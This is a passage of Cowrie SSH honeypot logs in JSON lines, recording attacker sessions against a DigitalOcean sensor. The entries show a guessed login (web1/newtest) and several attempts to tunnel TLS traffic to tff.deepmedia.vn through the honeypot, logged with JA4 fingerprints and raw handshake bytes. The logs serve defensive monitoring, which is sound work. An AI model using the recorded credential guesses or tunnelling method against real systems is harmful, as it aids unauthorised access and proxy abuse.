\\xdc\\x95\\x83\\x9c\\xc4\\xc7\\x15V\\xb9\\x9c\\xe5!\\x18\\x89\\xe7\\xac;i\\xaa\\xa7\\xbf\\xc5\\xda~\\x9a\\xc0\\xa0s\\xea\\xfb\\x8a^\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3\\x93,\\x08m\\xc7\\xdb\\x00\\x9c\\xb5d\\xdd\\xa1\\xce\\xea@ z-UE\\x9f\\xe5u\\x90,y\\xe1\\xf6\\xed\\xfa\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:57.376072Z","src_ip":"123.27.168.40","session":"595520af04d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:57.613690Z","session":"595520af04d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:57.847792Z","src_ip":"123.27.168.40","session":"595520af04d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa4\\x9a\\xc8Z\\xb3\\xfe\\x1f\\xe3\\xe7\\xbf\\xa6P\\x8br\\x84\\xa7|\\xc8.r\\x97\\xaa\\xb2\\x05R\\xa3\\x87\\xf6\\xc4\\xbf\\x07\\x81 \\xb5\\x04\\x94\\x14b\\xaa\\xe16\\x8eYr*\\xac\\x02\\x01\\xd3\\x18\\xe1\\x1f\\xea\\xd6Mcb\\x8f\\x83\\x18t\\xb5|\\x91\\xd2\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc1N\\xd0fz\\x8bK6\\x0f\\x8f\\xaa\\xfd\\xa6n\\x81W\\xc2-\\x84\\x9c/7\\xc8\\xb1\\x1bqO\\xc4?mw!\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa4\\x9a\\xc8Z\\xb3\\xfe\\x1f\\xe3\\xe7\\xbf\\xa6P\\x8br\\x84\\xa7|\\xc8.r\\x97\\xaa\\xb2\\x05R\\xa3\\x87\\xf6\\xc4\\xbf\\x07\\x81 \\xb5\\x04\\x94\\x14b\\xaa\\xe16\\x8eYr*\\xac\\x02\\x01\\xd3\\x18\\xe1\\x1f\\xea\\xd6Mcb\\x8f\\x83\\x18t\\xb5|\\x91\\xd2\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc1N\\xd0fz\\x8bK6\\x0f\\x8f\\xaa\\xfd\\xa6n\\x81W\\xc2-\\x84\\x9c/7\\xc8\\xb1\\x1bqO\\xc4?mw!\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:57.851097Z","src_ip":"123.27.168.40","session":"595520af04d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:58.208346Z","src_ip":"123.27.168.40","session":"595520af04d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web1","password":"newtest","message":"login attempt [web1/newtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:58.360746Z","src_ip":"91.92.40.36","session":"d718007b3085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:00.272881Z","src_ip":"91.92.40.36","session":"d718007b3085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26194,"dst_ip":"159.203.135.109","dst_port":22,"session":"d26924ffab11","protocol":"ssh","message":"New connection: 91.92.40.36:26194 (159.203.135.109:22) [session: d26924ffab11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:01.016595Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:01.572761Z","session":"e511bd8d6ff5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:01.625245Z","src_ip":"173.208.188.210","session":"e511bd8d6ff5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(\\xfd\\xb3\\x15\\xee\\x1f\\xafT\\xf7\\x83\\xb0[5%\\x8b\\xb23\\xce\\x16\\xe8s\\x01\\xa3\\xda=\\x14$ \\x85\\x94\\xd6\\xdb /\\xbc~$\\x19\\xd9\\xf2<\\xe7\\x0bO\\xf6)A2=\\xee\\x9f*o\\x83}F\\xfa\\x85\\x82\\xfc\\x1a\\x92t\\xbd_\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8e\\xce$\\x11\\xe0\\xd3e\\x17\"a\\xeb:\\xc7Y6\\x1eJ\\x04$\\x85\\xa7\\xba\\xd8&\\x10\\xc1\\xf5@\\x99\\x1c\\x1eD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(\\xfd\\xb3\\x15\\xee\\x1f\\xafT\\xf7\\x83\\xb0[5%\\x8b\\xb23\\xce\\x16\\xe8s\\x01\\xa3\\xda=\\x14$ \\x85\\x94\\xd6\\xdb /\\xbc~$\\x19\\xd9\\xf2<\\xe7\\x0bO\\xf6)A2=\\xee\\x9f*o\\x83}F\\xfa\\x85\\x82\\xfc\\x1a\\x92t\\xbd_\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8e\\xce$\\x11\\xe0\\xd3e\\x17\"a\\xeb:\\xc7Y6\\x1eJ\\x04$\\x85\\xa7\\xba\\xd8&\\x10\\xc1\\xf5@\\x99\\x1c\\x1eD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:01.628600Z","src_ip":"173.208.188.210","session":"e511bd8d6ff5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:01.686512Z","session":"e511bd8d6ff5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:01.825509Z","src_ip":"173.208.188.210","session":"e511bd8d6ff5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1ea\\n\\'\\xe2e=Ed\\xd8/z\\xb6\\x1f\\xba\\xc0\\xbf\\xc6\\xd4\\x85X\\x1d>\\xf62C\\xc7\\xb0.\\x0f8\\xc9 \\xfb\\x9e&M\\xa3\\xb5\\xcco\\x1c\\x08\\xf8\\xa6\\x1c\\x88\\x12\\xdfzZ\\xae\\x1bH9\\xde\\x02\\xd2\\xbd\\x07\\xea\\x94^\\xe3\\x1d\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 R\\x1c\"\\xe0\\xda\\xa0\\xa3\\xbb\\xb8\\x8cZwZ\\xd3\\xc5\\xaao$\\x03\\x90\"\\x81\\x9e\\x99z\\x1a\\xff\\xa1g0zi\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1ea\\n\\'\\xe2e=Ed\\xd8/z\\xb6\\x1f\\xba\\xc0\\xbf\\xc6\\xd4\\x85X\\x1d>\\xf62C\\xc7\\xb0.\\x0f8\\xc9 \\xfb\\x9e&M\\xa3\\xb5\\xcco\\x1c\\x08\\xf8\\xa6\\x1c\\x88\\x12\\xdfzZ\\xae\\x1bH9\\xde\\x02\\xd2\\xbd\\x07\\xea\\x94^\\xe3\\x1d\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 